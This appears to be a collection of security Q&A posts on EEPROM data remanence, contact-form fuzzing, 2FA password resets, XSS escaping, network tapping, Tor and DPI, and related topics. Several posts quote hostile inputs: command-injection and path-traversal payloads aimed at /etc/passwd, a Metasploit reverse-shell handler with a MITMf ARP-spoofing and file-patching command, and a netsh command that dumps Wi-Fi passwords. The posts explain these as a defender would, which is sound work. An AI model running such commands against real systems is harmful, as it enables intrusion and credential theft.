Recovery of EEPROM data after bulk erase operation I am aware of research which shows that a single (or sometimes double) random overwrites on a magnetic hard drive is enough to ensure data is not recoverable, but is there any research into the recovery of data stored in an EEPROM after the high-voltage bulk erase (not bytewise or pagewise erase) operation? I'm wondering about typical low-capacity EEPROMs which use Fowler–Nordheim tunneling and which have a dedicated erase pin that's brought to a high voltage to trigger bulk erasure, typically after setting all bits to a known value. I specify this to distinguish what I mean from "false" EEPROM like NOR flash, despite the flash-memory tag in the question.
I ask because I am trying to understand the security ramifications of using this for persistent storage of an encryption key, for example in a storage device with SED (Self-Encrypting Drive) capability. I'm interested in the theory, not any specific implementation issues like poorly-written drive firmware.
Answers also for NOR or NAND flash, or commercial SSDs, are fine as long as the information they contain also applies to EEPROM bulk erasure functionality. In case it's relevant, this is for a hardware project that requires erasure of a key stored in a solid-state IC (e.g. an Atmel 8051's flash area).

summary
If you decap the dies, you can.  The pads exist but are not bonded but available.  The reason that you can get the information is that the timers that are used to inject and tunnel the floating gates do not push the data hard against the voltage rails.  If the hardware supported a "tunneling on forever" type of control word, you could like make it so that it would like make the data extraction more difficult.
short answer
I happen to have an IC from a commercially available 14nm SOI, FinFET process from 2012 that had a NOR FLASH bank which I know made it into prime-time.  These ICs were development ICs before the process goes prime-time, and I used this process to make asynchronous FPGAs.  This device has an array of the 64KiB "pages", where each page had a timer that is used to tunnel the device, which makes the floating-node go positive, and injection through a nFET to make the node go negative.  Please see my link on analog floating gates, as it is similar to digital FLASH.  The only difference is that there's thresholding to be a "1" or a "0" on the readout circuitry.
I will write this from the reference of the floating gate device.  The nodes are made negative by the high field across the nFET.  The details of this are in chapter 2 of Jennifer Hasler's dissertation under Carver Mead.  I did not go into FN tunneling details in the analog floating gate post.  If you read into the boundary conditions, as you make a node more positive or negative, the injection or tunneling efficiency become lower.  Due to the fact that the injection and tunnel are controlled by timers, a "1" or "0" is not really a "1" or "0" that corresponds to a "VDD" or a "GND", but some voltage that is adequate to be sure you are positive or negative enough.  On this process, the digital voltage is 800mV, and a voltage below 300mV would be the "off" state, and above 600mV would be the "on" state.  To understand why this is, you need to consider the physics, but fundamentally, it's easier to tunnel a transistor than inject it.
Here's what tunneling looks like (this is the short, short version)

If you have a barrier, and you make it electrically thin enough, there is a probability that the electron will be able to penetrate the barrier.  This is "tunneling", and it's as a ball through a wall, and it's a quantum effect  In the two images, I give a zero voltage difference, where the barrier symmetric. The SiO2 barrier is 9.2eV in this process, and the oxide thickness of the floating-gate is 180angstrom (I measured this).  As you change the voltage between the floating-node and the tunneling junction, you pull electrons off the node with the higher potential.  In the image, the electrons at higher states will fall off first.  You can just consider it a pile of electrons.  One of the issues is that you need more voltage to take off more electrons and the node becomes more positive.  As an example, if the node is set to be 1V, and I tunnel at 11V, there's a 10V difference.  If I pull off enough charge for to have 2V on the floating-node, you have a 9V difference, and the barrier is less thin and it takes longer to tunnel.
Now to the crux of it, and I can elaborate if someone wants me to.  The caps seem to be 2fF in depletion, which means that's their maximum capacitance, by my measurement.   This means that there's 1248 electrons per volt.  Due to the debugging frame, I can set the gate voltage and measure the current through the drain of the fg-nFETs, and the lowest that I can see is 20fA.  100 electrons changes the gate voltage by 80mV which is about 1 decade of current in subthreshold (diffusion current).  I found that by writing 0x5A, for a b'01011010, I could always read back a current that indicated the last state.  This is due to the fact that the injection/tunneling control circuits are designed to be fast.  There's not a way for me to tunnel without a write, due to how the system is setup, and even if I made the nodes positive, I could always read out the previous states.
For this reason, I would say that an agressive actor would be able to extract FLASH data.  You need a semiconductor test lab, and access to the test pads, but there's nothing to stop you.  My recommendation would be to have a control word to tunnel the nFETs for a long time to make the nodes as positive as possible, because they'd eventually all settle at the same voltage.  Also, they will be in drift (above threshold) transport, and it would be more difficult to determine the previous state, and the differences will fall into noise.


Suspicious activity on contact form, what are their intentions? I've just started receiving several emails per second and I think it's likely someone is trying to exploit my contact form. I've taken steps to protect my site, I'm just curious what it is they're trying to do.

Some examples:

..À¯
sample%40email.tst and sleep(7.738)
acunetix_wvs_invalid_filename
\";cat /etc/passwd;\"
../../../../../../../../../../windows/win.ini\0.tst
/../..//../..//../..//../..//../..//etc/passwd\0.tst
\";print(md5(acunetix_wvs_security_test));$a=\"

The only one I can really guess at is cat /etc/passwd, after that they don't make much sense. Does anyone have any info or further suggestions?

It looks like an automated fuzzing test/attack that is looking for a number of different vulnerabilities.

Based on what you have provided they are trying to access the file system or execute directory traversal attacks, but I suspect as time goes by they will try basically every type of attack there is.

Tools like Burp Suite will provide ways to automate these types of attacks by allowing you to specify which HTTP parameters you want to target as well as providing an attack payload that looks for a number of different vulnerabilities (SQL Injection, XSS, path traversal etc.)

You can probably block the IP for now, but I would make sure that you site is secure because they will probably be back.  Also, you are probably receiving emails because they are testing your "contact us" form or something like that.  I would check your logs, because they are likely hitting many other pages as well.


How much information can be gathered about a network without connecting? I'm working on a project that ideally needs to be able to identify local wifi networks, and be able to recall them if they are approached again. Is there any unique identifying information that can be gathered about a network without needing to actually connect? Are there any potential legal issues that could come from this kind of passive data gathering?

Using a sniffer on monitor mode you'll be able to capture:

MAC address of an AP
Level of protection 'WPA2, WPA, WEP, none'
MAC addresses of the clients connected to a specific AP

That process is called Passive sniffing, you can apply it with Airodump-ng tool on Kali.


How can SubtleCrypto help in the process of sending a password via HTTPS? I heard from someone that SubtleCrypto should be used in client-server communications to login and register, then he told me it would be useful even if someone took control in the middle of the HTTPS connection. I always thought that once the TLS failed, nothing else could be reliable (at least between 2 peers.)

Since I've never heard of SubtleCrypto nor this case specifically, and the documentation I've found is scarse and not really concrete, could someone explain how this would work? (if it would)

Edit: notice the way he thought of was encoding the password with SubtleCrypto, then send it to the server.

The very top of the documentation has the following warning:

Warning: This API provides a number of low-level cryptographic primitives. It's very easy to misuse them, and the pitfalls involved can be very subtle.
Even assuming you use the basic cryptographic functions correctly, secure key management and overall security system design are extremely hard to get right, and are generally the domain of specialist security experts.
Errors in security system design and implementation can make the security of the system completely ineffective.
If you're not sure you know what you are doing, you probably shouldn't be using this API.

This simply means if someone is able to successfully mount a Man-in-the-Middle attack against you, then just throwing more and more cryptography at the problem with the hope that something will be effective is just the plain wrong way to go.
But to answer the question "How can SubtleCrypto help in the process of sending a password via HTTPS?", the answer is "not really all that much".


How does full-disk encryption protect against unexpected power loss? How does full-disk encryption work when the disk or system unexpectedly loses power? I assume that it doesn't just quickly re-encrypt the data in a split-second, so how does it protect data on the disk after power loss?

Does it keep most data encrypted and decrypt files when they are accessed? If so, wouldn't this also leave some files unprotected after power loss?

In this case I am not talking about a specific type of full-disk encryption, just the idea of power loss protection in general.

Full disk encryption ensures that data is never present on the drive in an unencrypted state, so sudden power loss does not result in any unencrypted data remaining on the drive. When your computer has to access data, it will read the encrypted data, then use the key you provided (also in RAM) so the data that gets stored in RAM is decrypted. This ensures that decrypted data is only ever present in RAM.
Hard disks and solid state drives are non-volatile, meaning the data they store is permanent. After a power loss, the data is still there. RAM on the other hand is volatile. The type used in modern computers, called DRAM, is composed of a transistor connected to a capacitor. A charge in the capacitor signals a binary 1, and no charge signals a binary 0 (this is a bit simplified). Every 64ms, the capacitor is refreshed so it does not leak electricity and loose its bit. When a computer loses power, the capacitors are no longer refreshed, and they begin to lose their charge. DDR2 DRAM will lose power in less than a minute, and DDR3/DDR4 DRAM will lose power in a couple seconds. Compare this with magnetic media, which can retain their polarity for half a century or more, or solid state flash media, which can retain their charge for around a decade without power.
You may have heard of cold boot attacks. It's a type of attack that exploits the fact that RAM does not lose its power instantly, but takes a couple seconds to lose power. If RAM is put in an extremely cold medium, this process can be slowed down to several hours. So unless someone freezes your RAM modules within a second of you powering off your computer, there will be no trace of the key or any unencrypted data on your system.


What qualifies a vulnerability that shall be published? Consider an open source project that is under continuous development. During development, in your day-to-day work you do occasionally find some issues on your own. There are also users of your library reporting issues.

If a security advisory shall be published: which defects shall be taken into the advisory? Only the ones reported from extern? Or also those you discover on your own?

Are there any references/guides for this topic?

Edit: I'm not asking for how to do a responsible disclosure when I found an issue in another library! The core of the question is whether also issues shall be published in an advisory that were not reported from externals but found during your day-to-day work in your software.

If there is a vulnerability in your product, your users needs to know that so they can protect themself. Who discovered the vulnerability is irrelevant for your users, so it should not affect if and how you communicate the vulnerability to them.

So if you publish security advisories, do it no matter who discovered the vulnerability.


How does password reset work if 2FA is enabled? (There is a highly related question, however I believe mine is not a duplicate, since it deals with resetting a password without access to the account, not changing it while being logged in.)

Say someone has gained access to my email that I used to register some accounts with. Assume also that these accounts all have some kind of 2FA, be it a 30-second code generated by an app, a U2F key - the type doesn't matter for my question.

In my understanding, in order for the attacker to change the password of an account, there are two ways:

Log into the account and change the password in the internal settings, without using the associated email. Even if we leave our computer/phone unattended with an active session of the relevant account, therefore bypassing the need for the hacker to also guess the account password, the change is still impossible. This is because, as explained in the question linked above, this would require at least 2FA
verification, possibly 2FA + the original account password.
On the log-in screen for the account, use the 'reset password' option to send a reset email to the email account that we assumed the hacker had access to. I am confused as to what happens then:

is the 2FA needed to send the reset email in the first place? If not,
is the attacker able to reset the password, but not to actually log in, since the 2FA is still in
place? This essentially means that they can't access the account, but nor can we.
is the attacker able to reset the password and log into the account, since the 2FA somehow becomes void?

Of course, scenario 1) is the most desirable from the perspective of the legitimate user, 2) is significantly worse, 3) is tragic. But which one actually happens when someone tries to reset a password for an account with 2FA enabled?

Technically, this is a question about how you should implement 2FA (or how you should expect it to be implemented), since there's nothing inherent in 2FA that answers your questions in either direction. With that said, there are certainly best practices.

2FA (or multi-factor authentication in general) should apply whenever the user is being asked to prove their identity in any way (that is, to authenticate). So you should prompt for MFA when the user is doing anything where you would normally request a password (such as changing their current password or email address, or changing MFA settings). You should also prompt for MFA any time the user is doing anything that takes the place of a password, such as clicking a link in a password reset email.

For your three scenarios, #1 is unlikely just because requesting a password reset email usually doesn't require any authentication at all, so it'd be an odd place to put a MFA demand. However, using the email in any way - that is, actually resetting the password - should require MFA. So #2 is technically incorrect - an attacker can't reset the password - but it's true that they can't log in either. The correct answer is sort of "#1.5".

However, again, "which one actually happens" will depend 100% entirely on how that particular service implemented MFA, and there's no guarantee they've done it correctly. I've seen sites that do it like #3.


Is addslashes + htmlentities sufficiently secure? I have addslashes(htmlentities($userInput)). It gets inserted into my database. (NOT a mysql db) Is it sufficiently safe from xss? Thank you!

What is addslashes for? It has no benefit against HTML injection as it does not remove the characters that are special to HTML.

If it is meant as a protection against SQL injection it is ineffective, especially for non-MySQL databases that don't even use backslash as an escape in SQL string literals. You should exclusively use parameterised queries to get data into SQL queries without SQL injection problems.

htmlentities is OK against injection into HTML text content and double-quoted attribute values. But:

it doesn't escape ' so it will fail for single-quoted attribute values (add flags parameter ENT_QUOTES to fix)
it assumes ISO-8859-1 character set so you will get broken output if you are actually dealing with something else like UTF-8 (add charset parameter to fix, or, probably simpler, use htmlspecialchars which leaves non-ASCII characters alone)
HTML escaping is something you do when you are creating an HTML page. You need to htmlspecialchars() every piece of text as you drop into HTML because that's the point at which you know that the text needs escaping. Don't HTML escape input between receiving it and writing it to the database, this is completely the wrong time.


shifting PHP files to .TXT output Is it theoretically possible to transform PHP files to raw plaintext?

I can add the .txt after the server-side programming language extension, but if it is rendered in the wrong content-type, is it theoretically possible for an attacker to obtain the php source-code in plain text by doing things with the url?

... is it theoretically possible for an attacker to obtain the php source-code in plain text by doing things with the url?

There is no inherent feature within a web server or a URL which makes it possible to get the source code of a PHP file from remote.

But, this does not mean that it is impossible in all cases. For example a bad server configuration might unwillingly expose the source code. Or a bug in the web application might allow read access to files on the server, including the PHP files. Or due a bug in some file upload feature an attacker might be able to upload its own PHP script which allows this kind of access. And sometimes none of this is even needed since the source code is available from some badly secured software repository.


How can an outsider tap into communications between two physical sites? When referring to 'Sites' - I am not talking about a website, but of a physical place where a company resides. Today, to secure communications between two sites - Let's say between an office in London, and an office in New York, we will use Site-to-Site VPN. We do that to encrypt communications, and also use the routing advantage of the VPN.

What are the chances, and how is it even possible, for outsiders to tap into communications that go unencrypted from my Firewall to my ISP's router and beyond? Is it possible to tap into that traffic in any part of path the packets take to my other office?

I can totally understand the reasons for a Client-to-Site VPN, impemented by SSL VPN or any other methods, because if some roaming user is connecting to his office from some WiFi hotspot, his traffic is being sent in cleartext.

The data bits which flow one machine to the other must travel in some way, over wires, optic fiber, radio waves or some other medium. At any point, information can be eavesdropped.

The very low-grade attackers will eavesdrop where it is easiest, i.e. close to either end. This is made easy with many WiFi hotspots; it can also be done with wired Ethernet by plugging into the same switch and "convincing" that switch to degrade to hub mode (i.e. broadcast all packets).

Somewhat higher-grade attackers will hijack one of the routers in the path. Each IP packet from machine A to machine B may have to hop through one or two dozens of routers. A router is nothing less than a computer in its own right (although most of them have a special packaging which makes them look like "network equipment"); as such, they have security holes (e.g. see this one, among many others). When an attacker gains complete access to the internal operating system of the router, he can spy on all the packets which go through the router, and also modify them arbitrarily.

Other attackers will plug in between routers. For radio links, this is as easy as having an antenna (some very directional high-frequency links can make that a bit more difficult). When the link is a simple Ethernet, this can be done even by amateurs. If you consider, for instance, a connection from Boston to Chicago, chances are that it will go through subterranean cables, long parts of which being just buried under a few feet of earth. These are not guarded and can be tapped into quite discreetly.

There are reports that some spy agencies have tried to do just that for at least 15 years, targeting no less than undersea cables, which requires a bit more work than just some night-time hiking and a shovel. Interestingly enough, what the NSA found hardest was to process the high bandwidth data (with the then available computing power).


How do I know a piece of software only does what the author claims? Without being a programmer or a computer expert, how can I know if a particular program or any piece of software in general doesn't have hidden unwanted functions compromising privacy and security?

You can know whether some software does only what it announces in the same way that you can know whether the food they serve you at restaurants is poisoned or not. In plain words, you cannot, but Society has come up with various schemes to cope with the issue:

You can listen to friends and critics to know if the food at a given restaurant has good reputation or not.
You can take a sample and send it to a lab which will look for many (but not all) known poisonous substances.
You can ask nicely if you may observe the cook while he prepares the dishes.
The cook has a vested business interest in his customer being happy with the food quality, and happiness includes, in particular, not being dead.
Society punishes poisoners with the utmost severity and it can usually be assumed that the cook knows it.
You always have the extreme option of not eating there if you are too worried.

All of these can be directly transposed into the world of software. Extreme methods of ascertaining software quality and adherence to its published behaviour include very expensive and boring things like Common Criteria which boil down to, basically, knowing who made the program and with what tools.

Alternative answer: every piece of software has bugs, so it is 100% guaranteed that it does not do exactly what it is supposed to do. (This assertion includes the software which runs in the dozen or so small computers which are embedded in your car, by the way.)


Why does Windows store Wi-Fi passwords in a reversible format? Running

netsh wlan export profile key=clear

in PowerShell will dump your current stored Wi-Fi settings, including the password, into xml files inside of whatever directory you are currently in.

Why is it that Windows would store credentials in a reversible format? Why is it not just storing the hash of the password that it sends access points to complete the handshake and establish connection?

tl;dr-  Windows is acting as a password manager, and like all password managers, it must remember the passwords it manages.  You're probably thinking of the thing where servers are supposed to store hashes instead of passwords; that strategy doesn't apply here.
@forest's answer demonstrates a major caveat – that, if we assume a wireless network will always use a specific protocol that starts by hashing the password, e.g. WPA2, then Windows could forget the original password in favor of the protocol-specific hash.

Why is it that Windows would store credentials in a reversible format? Why is it not just storing the hash of the password that it sends access points to complete the handshake and establish connection?

Windows is serving two different roles here:

Password manager:Windows can remember network passwords for you.  When it does this, it's acting as a password manager.  Like any other password manager, it must store the passwords it manages.

Client:Windows must convince the WiFi network that it knows your password.  To do this, it must know your password.

If you're concerned about Windows storing your password, it'd seem like you can just stop using its password management function.  However, you'll still need to supply Windows with a network password in order to log into a network, much like you must supply an email portal with your email password to log in.

Note:  The advice you're thinking of applies to servers, not clients.
You're probably thinking of the thing where a server shouldn't remember plaintext passwords, but rather a hash of them.  That doesn't apply here since Windows isn't the server.
You can hash the WiFi password if you like, but then the hashed password would be the new password.  This'd basically be the same thing as using a key-derivation function to generate your WiFi password.

Exception:  Protocol-specific hashes can be retained.
The above answer is written for a general-case protocol.
However, specific protocols may call for having the password hashed, such as in the popular wireless protocol, WPA2.  If we assume that the network will always use a specific protocol like WPA2 across all access points and time, then we can forget the original password if we just retain that hash.
The issue with retaining just the hash is that it's not the network password so much as the protocol-specific network password.  This is, a client that retains just the hash under one protocol would break if the network updated to WPA3, or if they went in range of an older WPA access point, etc..


Why should password reset link be single use? Reading from here: https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html
It mentioned that password reset link should be single use and expire after appropriate period. I don't understand why should it be single use?
Also found this: https://www.troyhunt.com/everything-you-ever-wanted-to-know/

Finally, we want to ensure that this is a one-time process. Once the reset process is complete, the token should be deleted so that the reset URL is no longer functional. As with the previous point, this is to ensure an attacker has a very limited window in which they can abuse the reset URL.

So the whole point of being "single use" and "time-limit" is to limit the window... but if the time limit is fairly short (eg: 30 minutes), is it okay for the link to not be single use? Is this another security vs convenience topic, or is there any reasons why it must be single use that I am not aware of?
I'm new in this section of SE (and to security in general), so if mod thinks there are better tags, feel free to change it.

The threat that is being mitigated by the single use is that someone else uses (or re-uses) the url to reset the password.

If the url does not work, apparently someone has intercepted the mail and you know someone else has the password
If the url is used normally, you no longer need to worry that someone else uses the same link to (re-)appropriate the account.

A short period of time also mitigates this threat, but less effectively. For example: if the URL is valid for an hour, and you changed your password directly after receiving the URL, there is still a one hour time slot where a miscreant could abuse the link. To be absolutely sure that the link would not be re-used, you would have to re-login after the time-out.
Whether it is OK depends quite a bit on the application. It would not bother me for a registration that is required for downloading a whitepaper, but for my bank, I really want the one-time-use.


Is JSON web token further secured in OpenID, and how? I have read the details of pure JSON web token (JWT), and found that it is signed (e.g. by SHA256) but not encrypted. Hence, attack can read the sensitive information by decoding the header and payload.

I am not very familiar the details of OpenID, but I know that OpenID uses JWT as data format to pass the token.

My question is:

In OpenID (e.g. OpenID 1.0, 2.0, OpenID connect), is JWT further secured by applying additional encryption or other approach, to prevent token stolen or information leakage (I believe the answer should be yes)? And how?

Earlier versions of OpenID don't use JWTs, so in a word: no.

OpenID Connect does not mandate the use of encrypted tokens as it prioritizes adoptability over security. However, it does allow you to optionally encrypt the token as a supported protection.

  ID Tokens MUST be signed using JWS and optionally both signed and then encrypted using JWS and JWE respectively, thereby providing authentication, integrity, non-repudiation, and optionally, confidentiality, per Section 16.14. (Source)

Otherwise, the better way to think of it is that the protocol uses JWT to protect itself, not the other way around.

With that said, the protocol spec does list off a number of considerations. These include mitigations like

using HTTPS
verifying the token is actually signed with the right key
signing token requests
the token should include token restrictions
Blocking open redirects
using a cache to prevent token reuse

And so forth. A lot of these are common sense mitigations that should apply to any number of token-based protocols.


Isolate two hard drives with two operating systems I would like to install a second hard drive on my laptop and use it as something like a  sandbox, just for games and home, and the other for work and sensitive data only. Both hard drives have windows installed on them.

What I need is a way to completely isolate them from each other so there is no way for a malware to spread from to the other: virtually unplug the hdd I'm not using, if you will.

To be even more clear, suppose I'm intentionally gonna infect one HDD with the nastiest of the malwares, I need to make sure that it is impossible for it to spread to my other drive.

Is there a way I can achieve this without having to physically remove the HDD I'm not going to use?

There are devices with a physical switch between two HDDs.
There is no way to virtually isolate the drives. If you used encryption on both drives, it would make it very hard to access data on the second drive from your sandbox, but it would still be very easy to delete it.
So the best way would be to use a physical switch between your two drives.


MITMf which files can it patch From this tutorial i found that it is possible using tool MITMf to patch exe files ''victim'' downloads in order to open a meterpreter shell. The commands that have been used are the following:

use exploit/multi/handler

set payloads windows/metepreter/reverse_tcp

set lhost 192.168.1.4

set lport 4888

exploit

to open meterpreter and

mitmf -i eth0 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.8 --jskeylogger --filepwn

The problem is that it does not patch all exe files as it mentions in the tutorial too. So the question is which files does it patch and which not??

PLease check this issue: https://github.com/byt3bl33d3r/MITMf/issues/280

MITMF use BDProxy to patch files, but it only works with non-ssl connections. Can you check if you are trying to download a file via HTTPS?

Check documentation for more information: https://github.com/secretsquirrel/BDFProxy.


Strategy against browser exploits on Windows? On a friend's computer is some kind of spam bot installed. It sends messages like

  Hello:

  I received my apple iPad 32GB ordered on an  online shop
  (www.elevalley.com  ) today. So
  exciting , it's  genuine and as good
  as they promised ,but much cheaper
  than  it is in our country .Glad to
  share this news with you .  Cheers!
  May all goes well for you. Kind
  regards

via Yahoo. Only the web email interface is used, no desktop email program. A current virus scanner and Ad-Aware had been installed recently but they did not find anything.

I noticed that in Internet Explorer and Firefox the Yahoo Toolbar is installed. Checking out the extensions dialogue, Firefox said it had an old version of Yahoo Toolbar and that it cannot upgrade it to provide security fixes. After some Googling I found that:

someone else had the same problem with a Yahoo account
that version of Yahoo Toolbar (though another build date) has a known Buffer Overflow vulnerability

I removed Yahoo toolbar, installed Zone Alarm and Firefox 4.  The question is: What to do?

First thing: change the Yahoo password.  Since the scanners didn't come up with anything, most likely, the exploit grabbed the saved password from somewhere on the computer, and sent that password to its home server.  The emails then aren't being sent from your friend's computer; they are just using your friend's password.


What does "injection proxy" mean in RCS of HackingTeam? While I was watching HT RCS Galileo Presentation I came across a term or concept which I'm not familiar with it: "injection proxy".

Could somebody explain this type of attack?

An injection proxy is a man-in-the-middle application that actively monitors traffic and injects (malicious) content based on predefined rules.

This is roughly the attack scenario outlined in the video:

You are a government entity and accessing the traffic of an ISP that you know is used by a criminal suspect A. You want to gain access to A's computer but you only have their e-mail address. So you set up a rule in the interface of your injection proxy that injects malware (possibly delivered through a 0-day browser exploit) into the traffic handled by the ISP as soon as A's e-mail address occurs in a HTTP request to their webmail provider. That is, as soon as A logs in on their webmail, your injection proxy takes action and injects malicious content into the returned HTTP response which silently installs a backdoor on their machine. This of course won't work as easily if A uses TLS when browsing since you can't easily inject content into HTTPS traffic.

A paper on details about HackingTeam's "Injection Proxy Appliance" can also be found on Wikileaks:

  IPA (Injection proxy appliance) is a offensive security device developed by HT for
  performing remote installation of Remote Control System, by using man in the middle attack techniques and by using proprietary streamline injection mechanism.


Secure error messages from public API We are writing our first public API.

Now I remember hearing in the past that you shouldn't give users useful error messages, that allows hackers to learn what your data is.

so if the get is

{
 policyNumber: '43',
 product: 'car insurance'
}

the error message shouldn't give the user enough information to refine their search and carry on hunting for real data.

so not

  'sorry this type of insurance doesn't have a policy numbered that'

But my memory is really vague, and my google search skills aren't up-to finding this sort of information out. Or I misunderstood and I am wrong, and this only applies to user name and password.

Please help.

Are there any guidelines in how error messages should be worded for security purposes, what should and what shouldn't be provided to the end user.

Great question! I don't know that there are any hard-and-fast rules here, but you're definitely on the right track.

Here are some things that I look for when I'm looking at the descriptiveness of log and error messages, I generally think along these lines:

Error messages in internal log files are descriptive enough to help with debugging and live attack monitoring.

If there's PII (customer names, IP addresses, etc) in the internal logs, that's probably OK, but check compliance laws and make sure these logs are being properly protected.

Customer-facing error messages:

Visible pre-authentication should be static strings that are very generic. Ie do not echo back any dynamic content.
Visible only to a logged-in user: can be a little more flexible, for example it's not a vulnerability to tell a user their own name or their own account number, but as you point out, you want to keep this to a minimum because you're only one bug away from leaking info about other users, or leaking info about internal server state.

Under no circumstances should a customer-facing error message contain a stack trace.

Generally speaking, you're in a usability-vs-security tradeoff here. More descriptive error messages will help users figure out what they did wrong, and generally have an easier time using your product. That said, the more descriptive they are, the more you're asking for security issues.


Optimise user data fetch using S3 I'm writing a mobile app that communicates with my server using REST. Upon every launch, the app makes a call to the server api to check whether there was a change in the user details (using a lastUpdate parameter), the api returns the updated user object in case there was a change.

Problem

The drawback to this approach of course, is that every launch of the app causes an api call (and an SQL query) to my server.

Solution

I had an idea to use HTTP ETAG\last-modified header and store the user details as a json file in S3 bucket (+ S3 access control). That way, the app can check against that file (instead of a direct call to the api). I will save lots of connections to my server and lots of db queries as well.

Question

It seems like a legit solution, though somehow I get the feeling that storing all my users data in files on S3, is not secure..

What do you think?

S3's access control is not really suitable for functionality.   If every instance of the app uses the same credentials to access S3 then the JSON records could be compromised by an attacker who has decompiled the app.

if you want to make a change to a user record stored in S3,  the change will not propagate immediately.  So if you if your application has a user_state=disabled,  then this change may not be reflected immediately in s3.

Consider using memcachd to cache the json records.  Access the records using a temporary,  random token.


Using Username/Password to generate 'public' key for Encryption I'm currently developing a project for highly sensitive data which needs to be transfered over a very questionable network. While I'm not really happy about that at all, it's probably unavoidable anyway. The good news however is that the participating users are very limited, which would make it possible to use the Username/Password to actually encrypt the first packages that are sent. So here is what I'm thinking:

The Client sends Username/Password-Hash encrypted with a key generated by a combination of the two using a bijective function.
The Server trys to encrypt this using every single Username/Password-Hash combination found within the database, if successful

2.1 a private Key is generated which is valid for the session only and will only be used once.

2.2 The private Key is send to the client using the same Username/Password-Hash generated Key.

if not successful

2.3 NO LOGIN is send to the client using no encryption.

Well my question here is:

Will this method compromise the encryption in any way? Or am I completely missguided?

Using a public key is not really an option, since the key could be attained by reverse-engeneering/listening in on the first package where the public key is exchanged/...

I wouldn't recommend your scheme. It seems inefficient (having to create keys out of every username/password combination, just to find the origin), and unsafe, with the server generating private keys that get sent to clients. It's also vulnerable to replay attacks, since you're not protecting the underlying channel, though without seeing the rest of the details, it's unclear what that gets an attacker.

Why not just use SSL? It's meant for protecting sensitive information over insecure networks, is universally supported, and is likely to be safer than anything you implement.

If you need to store this data encrypted after the transfer, using a traditional public key scheme is certainly an option. There's no risk of someone snooping a public key, since they are meant to be public. As long as each parties public key is signed, either by eachother, or by some mutually trusted third party, then there's no risk of a man-in-the-middle attack.

tldr: Use SSL. If you need to store data after the transfer, use PGP.


activate user account through email I see a lot of people say to hash for the token on email verification when dealing with member registration.

I am wondering, if the email token is only to activate the account and nothing else, would the email token still need to be hashed ? Or do I need to hash the email token?

My thought: Since it has no correlation on the account information, it has no direct affect/access to the account. even the user tries to change the email token, it will only possibly affect the database active column from 0 to 1 (inactive to active).

The discussion you are linking actually says that you should not hash your token, you must only ensure that it is long and random enough, quoting Tom Leek:

  Don't compromise, use a good PRNG. Don't try to make something
  yourself by throwing in hash function and the like; only sorrow lies
  at the end of this path.

However, as per your specific concern, using a poor predictable token could allow an attacker to enable accounts, as you said, but more importantly it will be allow him to do so without having access to the associated email address, thus bypassing the role of the email verification system.

For instance an attacker can create an account on your website using a fake email address. This account could then be used in social engineering attacks (the attacker could act as if he was an employee from some large company, another member colleague, etc.).


Analyzing Tor traffic through Deep Packet Inspection? I've just read about the detecting and blocking of Tor traffic by DPI but now I'm curious about analyzing the data you send over Tor and matching it with your true identity by deep-inspecting the data packets that leave your PC/router. (If that means anything)
I don't know much about the technical details of DPI, (which will become pretty obvious with the following questions) but I've heard from a few people with some technical background that it gives its utilizer immense surveillance power. When I asked them about the relationship between DPI and Tor, and the implications of DPI on Tor, they said that they don't know much about Tor to give satisfactory answers to my questions.
So I'm posting my questions here in hopes that someone with sufficient knowledge on both concepts will answer them.

Are governments/ISPs able to do it? (The paranoid government in my country [Turkey] pretty much rules ISPs so ISP=government in this case. The government demands all personal information of internet users from ISPs, it doesn't let anyone launch an ISP company otherwise.)

Do they need advanced network infrastructure to achieve it or is it a painless procedure? What type of an infrastructure do they need? Is it possible to tell if they're able to do it by, say, looking at the technological or economical development of a country? One person told me that they probably would need supercomputers to analyze every user's traffic.

Does deep packet inspection come with "degrees" or is it more like an "all-or-nothing" concept? That is, a government is able to use this surveillance method but not that surveillance method because they don't have the technology, etc.

If a government is known to utilize DPI, does that mean Tor is completely useless in that country?

What actions could be taken to prevent a government from deep-inspecting one's packets?

I'm open to further reading/resources if no one's willing to write. Thanks in advance.

I found this question interesting.
I will try to answer to each question assuming that I consider DPI, in this case, equivalent to SSL/TLS Man in The Middle.
The DPI which only observe some clues in the cleartext parts of a frame (like in the paper you mentioned) are not able to recover the encrypted parts. This way could permit to block some Tor nodes but the privacy stay untouched.

A government could do it if it was able to own one of the hundred Certification Authorities (CA) embedded in the OS and the browsers. Maybe, in the large list of CAs, some of them are in Turkey and could let the government access to their private keys to sign rogue certificates on the fly. Then the government need to intercept the traffic at some point (with an ISP or in a place where the cables are managed) to substitute its certificates.
This way, it can observe encrypted content like VPN or SSL/TLS.
BUT this way is quite detectable. Someone who travel in turkey could save the displayed certificate of a website and see that it is different from the one from its own country.
The technology to perform this DPI is not a high level one. With the participation of the ISP, the cpu involved in the interception is not even the problem of the government except if it puts a black box in the ISP infrastructure (then this blackbox needs to decrypt/observe/reencrypt on the fly without lower the network speed).
The amount of resources needed to analyze all the traffic intercepted, and the storage capacity are quite very huge but not so so expensive for a government.
In this case DPI is all or nothing : you serve your certificate instead of the real one and the victim talk to you instead of the real server. Some kind of crypto attacks over the traffic could be used to retrieve part of the packet without performing a Man in The Middle, but the processing for each packet would be discouraging
Even if the government uses a huge DPI system over the national traffic with the participation of some CAs and ISP, without no one noticing this and without no disclosure from a whistleblower (in the ISP or the CA), some protections exist against this threat model as HPKP and Certificate Transparency. But, theoretically, if someone can make a complete DPI (read the encrypted parts) without being visible, yes Tor is useless in this case.
One action could be the use of a foreign VPN with a certificate signed by a foreign CA (a CA in Europe, USA, ...). Then, when you mount your VPN tunnel you could check if the root CA received correspond to this CA (if you see a turkish CA instead, there is a problem ^^) at this time you could abort the connection. If the initial connection succeed, the VPN will make all the further connections for you, outside of the influence of the government.

I'm not overskilled in this domain but I don't know any other way of feasible DPI than SSL/TLS Man in The Middle.
And this way is not stealth enough to be widely used without being identified in some days/hours.
So I don't think that Turkey implements it.


Is it safer and more secure to buy your own online storage from a hosting service or use major cloud services? If I want to have a safe, private backup of my most confidential files online, what is the best way to go? Best as in, most secure, offering the highest level of privacy (i.e. being sure my data won't be stored on their servers 'forever' once I have deleted it, etc.), and finally reliable. The assumption is that the files will be password-protected, compressed, and encrypted.

I currently imagine two scenarios;

Buying cloud storage from one of the big companies, e.g. Google, Dropbox, etc.
Buying shared storage from a hosting service, e.g. HostGator, GoDaddy, A2 Hosting, etc.

The second option is undoubtedly much cheaper. But is it the safest option?

Are cloud services more eager to keep your data on their servers forever after you have even deleted it from your account? Are there any other secure options other than the two above?

